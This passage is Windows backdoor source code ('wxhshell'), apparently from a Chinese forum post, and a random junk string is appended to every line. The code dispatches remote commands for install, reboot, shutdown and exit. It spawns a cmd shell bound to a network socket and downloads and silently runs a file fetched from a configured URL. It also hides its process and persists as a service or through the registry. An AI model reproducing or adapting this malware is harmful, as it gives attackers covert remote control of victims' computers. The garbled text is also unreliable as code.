    switch(cmd[0]) { bDr'W   
  `xtN+y F  
  // 帮助 c`iSe$eS  
  case '?': { .D7\Hao  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I($u L@$  
    break; i P/I% D  
  } @50Js3R1q  
  // 安装 v.\&gn(  
  case 'i': { ]$z~;\T  
    if(Install()) <cl$?].RE!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KR{kn[2|Q  
    else ] $%{nj<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s#d>yx_b  
    break; E=LaPjEIj  
    } 6!bf,T]  
  // 卸载 t rHj7Nw  
  case 'r': { i1/FNem  
    if(Uninstall()) I&^?,Fyy<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5B(|!Xq;I  
    else NoPM!.RU{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^c=@2#^\  
    break; p>MX}^6  
    } !D  
  // 显示 wxhshell 所在路径 'dx4L }d  
  case 'p': { nrZv>r  
    char svExeFile[MAX_PATH]; ok7DI  
    strcpy(svExeFile,"\n\r"); V-jo2+Y5=  
      strcat(svExeFile,ExeFile); D$j`+`  
        send(wsh,svExeFile,strlen(svExeFile),0); #Q;#A |EZ  
    break; /]YK:7*98  
    } oVLz7Y[JE  
  // 重启 0a(*/u  
  case 'b': { vK6bpzI 3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); OnG!5b  
    if(Boot(REBOOT)) ag] nVE/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  R z[-  
    else { 6R?J.&|  
    closesocket(wsh); zis-}K<   
    ExitThread(0); !Dz:6r  
    } ;aD_^XY  
    break; 0m?ul%=  
    } & ??)gMM[  
  // 关机 YpuA,r;"  
  case 'd': { 1pcSfN:"1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Muarryh}  
    if(Boot(SHUTDOWN)) $i =-A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )hn,rmn (P  
    else { !'+t)h9^  
    closesocket(wsh); )`g[k" yB3  
    ExitThread(0); d`^@/1tO  
    } smWA~Aq  
    break; Ir]b. 6B  
    } {a>)VZw_#  
  // 获取shell 6_9w1 ,W E  
  case 's': { \ 0:ITz  
    CmdShell(wsh); AjZT- Q0L  
    closesocket(wsh); IPJs$PtKok  
    ExitThread(0); 0V1kZ.  
    break; xNjA>S\]W5  
  } @GGyiK@  
  // 退出 ~r!jVK>^  
  case 'x': { $-o39A#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8l?]UFM>C  
    CloseIt(wsh); b#$:XS  
    break; 4$_8#w B1&  
    } 'o5[ :=K  
  // 离开 u D . 0?*_  
  case 'q': {  gs9f2t  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); GF k?Qf{u  
    closesocket(wsh); gAR];(*  
    WSACleanup(); mTcLocx  
    exit(1); 6.ap^9AD  
    break; n+xM))  
        } mv + .5X  
  } SLBKXj|  
  } !lHsJ)t  
o2%"Luf<  
  // 提示信息 uV;Z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `UeF3~)>E  
} u} KiSZxt  
  } W>+<r9Rt4  
c5U1N&k5&  
  return; R4{}ZT  
} 1a%*X UT  
I\4 I,ds  
// shell模块句柄 ti'OjoJL  
int CmdShell(SOCKET sock) &M<431y  
{  f0:)  
STARTUPINFO si; ZtIK"o-|!  
ZeroMemory(&si,sizeof(si)); L@v0C)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k 9s3@S  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  6W3}6p  
PROCESS_INFORMATION ProcessInfo; smk0*m4  
char cmdline[]="cmd"; Ot v{#bB$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4;%=ohD:!  
  return 0; ))eR  
} js2?t~E]  
d[ {=/~0  
// 自身启动模式 xXLKL6F(\  
int StartFromService(void) $BNn1C8[  
{ bZa?h.IF  
typedef struct }_u )3X.O  
{ R|tjvp-[}  
  DWORD ExitStatus; ;m;wSp  
  DWORD PebBaseAddress; igz&7U8gg  
  DWORD AffinityMask; r Cmqq/hZ  
  DWORD BasePriority; .o fYFK  
  ULONG UniqueProcessId; Z^#7&Pv0  
  ULONG InheritedFromUniqueProcessId; <$ '#@jW  
}   PROCESS_BASIC_INFORMATION; b}[{'  
F7=a|g  
PROCNTQSIP NtQueryInformationProcess; 3`-[95w  
t$s)S>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Rk`c'WP0*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; GfVMj7{  
<y!6HJ"  
  HANDLE             hProcess; |"l g4S%  
  PROCESS_BASIC_INFORMATION pbi; hX YVi6(k  
<;W4Th<4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (A"oMnjWd  
  if(NULL == hInst ) return 0; GY0<\-  
bx`(d@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )v'3pTs2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ? BBDk  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); M*@MkN*u&  
BXm{x6\  
  if (!NtQueryInformationProcess) return 0; Be?mIwc_g  
,P5HR+h  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yUBic~S  
  if(!hProcess) return 0; <sd Qvlx$-  
+}z T][9w  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~l.]3wyk  
9/^4W.  
  CloseHandle(hProcess); 4yjAi@ /2  
_3ZZ-=J:=*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'L=g(  
if(hProcess==NULL) return 0; E-n!3RQ(w  
>oLM2VJ  
HMODULE hMod; c-`&e-~XKL  
char procName[255]; Br-bUoua  
unsigned long cbNeeded; >iaZGXje  
hLO nX<%a  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]_5C5m  
jj.)$|&#`  
  CloseHandle(hProcess); m|e!1_ :H  
D*_ F@}=  
if(strstr(procName,"services")) return 1; // 以服务启动 /l@7MxE  
:90DS_4  
  return 0; // 注册表启动 $g 5pKk  
} *:)#'cenI  
gl00$}C  
// 主模块 _U'edK]R  
int StartWxhshell(LPSTR lpCmdLine) 8=t?rA  
{ vR#A7y @ !  
  SOCKET wsl; _es>G'S  
BOOL val=TRUE; |A &Nv~.)  
  int port=0; &Gxk~p<  
  struct sockaddr_in door; 4dl?US[-  
J6\<>5 A?  
  if(wscfg.ws_autoins) Install(); B>-Iv _  
{hVSVx8ZL  
port=atoi(lpCmdLine); <9B43  
Vs m06Rj{  
if(port<=0) port=wscfg.ws_port; rt t?4  
3Qn! `  
  WSADATA data; b abDLaC@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <@e6zQG  
0^tF_."Y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   k|a{ |2p  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); u{exQ[,E  
  door.sin_family = AF_INET; hnH:G`[F  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /C_O/N  
  door.sin_port = htons(port); U{{RRK|  
9OP d'f  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -N*g|1rpa  
closesocket(wsl); x7t"@Gz  
return 1; C$M^<z  
} 21G] d  
W:hR8 1ci  
  if(listen(wsl,2) == INVALID_SOCKET) { E$*I.i_m  
closesocket(wsl); &<k )W  
return 1; F0]= z-  
} E70  
  Wxhshell(wsl); ]';!r20  
  WSACleanup(); 9JP{F  
6 3Kec  
return 0; ^:LF  
r'w5i1C+  
} Zo'lvOpyZ  
*Cj]j-  
// 以NT服务方式启动 `Fu|50_@V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,T"(97"  
{ vAU^<$D27  
DWORD   status = 0; >TwOL  
  DWORD   specificError = 0xfffffff; ~r&Q\G  
"fS9Nx3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Cg8{NNeD  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Oj~k1+*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @q[-,EA9  
  serviceStatus.dwWin32ExitCode     = 0; KiH#*u S  
  serviceStatus.dwServiceSpecificExitCode = 0; gO_^{>2  
  serviceStatus.dwCheckPoint       = 0; d ID] {  
  serviceStatus.dwWaitHint       = 0; K.*zqQKlI|  
*s;$`8fM<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 024*IoVZ  
  if (hServiceStatusHandle==0) return; jAN(r>zVL  
80l(,0`,  
status = GetLastError(); 1b* dC;<  
  if (status!=NO_ERROR) +xFtGF)  
{ l&U3jeW-o  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |0A n| 18  
    serviceStatus.dwCheckPoint       = 0; q>!T*BQ  
    serviceStatus.dwWaitHint       = 0; >-EoE;s  
    serviceStatus.dwWin32ExitCode     = status; Ay"x<JB{U2  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2|w(d  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /O/u5P{J  
    return; iTqv=  
  } aN%t>*?Xa  
 YVD%GJ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; UU$ +DL  
  serviceStatus.dwCheckPoint       = 0; pl|< g9  
  serviceStatus.dwWaitHint       = 0; G@ed2T  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;bkS0Vmg  
} YWd:Ok0  
D;d 'ss;  
// 处理NT服务事件,比如:启动、停止 f5mk\^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) gd#  
{ _mA[^G=gY  
switch(fdwControl) K31Fp;K  
{ -V_e=Y<J/  
case SERVICE_CONTROL_STOP: >L[,.}(9  
  serviceStatus.dwWin32ExitCode = 0; \#G`$JD  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Scxf5x-  
  serviceStatus.dwCheckPoint   = 0; Y2<Z"D`  
  serviceStatus.dwWaitHint     = 0; LEHlfB#z`@  
  { |I85]'K9a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q35%t61Lc  
  } 0v+5&Jk  
  return; <J[*~v%(  
case SERVICE_CONTROL_PAUSE: &{ntx~Eq  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; };29'_.."x  
  break; k&yy_r   
case SERVICE_CONTROL_CONTINUE: B YNOgB1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )1lYfJ  
  break; q\d'}:kfu  
case SERVICE_CONTROL_INTERROGATE: &'T7 ~M:  
  break; ''v_8sv  
}; o6Vc}jRH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }*IX34  
} n3~xiQ'  
)x?F1/  
// 标准应用程序主函数 :m@(S6T m  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  QqtFNG  
{ Vk{0)W7  
%0fj~s;  
// 获取操作系统版本 dKZffDTZ  
OsIsNt=GetOsVer(); [G t|Qp[   
GetModuleFileName(NULL,ExeFile,MAX_PATH); eEezd[p  
sN^R Z0!>  
  // 从命令行安装 4Q_2GiF_ ?  
  if(strpbrk(lpCmdLine,"iI")) Install(); g&riio7lx  
Z~muQ c?  
  // 下载执行文件 9.SPxd~  
if(wscfg.ws_downexe) { pz.<5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j31 Sc3vG  
  WinExec(wscfg.ws_filenam,SW_HIDE); e,:@c3I  
} {#Mz4s`M  
R"=G?d)  
if(!OsIsNt) { 8%vk"h:u:  
// 如果时win9x,隐藏进程并且设置为注册表启动 JF24~Q4P  
HideProc(); J|,| *t  
StartWxhshell(lpCmdLine); yBs  
} Il*wVNrZI  
else VGq2ITg9eE  
  if(StartFromService()) |CStw"Fog  
  // 以服务方式启动 d=H C;T)  
  StartServiceCtrlDispatcher(DispatchTable); i#(T?=VPcy  
else (fY(-  
  // 普通方式启动 LT:KZ|U9  
  StartWxhshell(lpCmdLine);   7&l  
0Oe@0L%^3"  
return 0; Z</$~ T  
}
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只看该作者 1 发表于: 2006-10-10
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